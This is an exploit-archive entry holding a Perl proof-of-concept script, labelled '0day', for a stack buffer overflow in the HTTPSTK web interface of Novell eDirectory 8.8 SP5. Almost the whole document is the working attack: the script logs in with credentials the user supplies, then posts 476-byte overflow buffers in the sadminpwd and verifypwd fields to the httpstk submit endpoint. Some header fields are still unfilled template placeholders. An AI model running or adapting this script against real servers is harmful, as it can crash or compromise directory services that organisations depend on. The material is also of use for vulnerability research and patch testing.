# Exploit Title: Novell eDirectory HTTPSTK Login Stack Overflow Vulnerability
# Date: 2009-11-17
# Author: karak0rsan
# Software Link: [downoad link if available]
# Version: Novell eDirectory 8.8 SP5 HTTPSTK
# Tested on: [relevant os]
# Code : [exploit code]
#!usr\bin\perl
# Novell eDirectory 8.8 SP5 HTTPSTK BoF Vuln - 0day
# Vulnerability found in Hellcode Labs.
# karak0rsan || murderkey
# info[at]hellcode.net || www.hellcode.net
use WWW::Mechanize;
use LWP::Debug qw(+);
use HTTP::Cookies;
use HTTP::Request::Common;;
$target=$ARGV[0];
if(!$ARGV[0]){
       print "Novell eDirectory 8.8 SP5 Exploit\n";
       print "Hellcode Research || Hellcode.net\n";
       print "Usage:perl $0 [target]\n";
exit();
}
         print "Username:";
         $username = <STDIN>;
         chomp($username);
         print "Password:";
         $password = <STDIN>;
         chomp($password);
$login_url = "$target/_LOGIN_SERVER_";
$url = "$target/dhost/httpstk;submit";
$buffer = "\x41" x 476;
my $mechanize = WWW::Mechanize->new();
$mechanize->cookie_jar(HTTP::Cookies->new(file => "$cookie_file",autosave => 1));
$mechanize->timeout($url_timeout);
$res = $mechanize->request(HTTP::Request->new('GET', "$login_url"));
   $mechanize->submit_form(
                 form_name => "authenticator",
                 fields    => {
                    usr => $username,
                    pwd => $password},
                    button => 'Login');
$res2 = $mechanize->request(HTTP::Request->new('GET', "$url"));
$res2 = $mechanize->request(POST "$url", [sadminpwd => $buffer, verifypwd => $buffer]);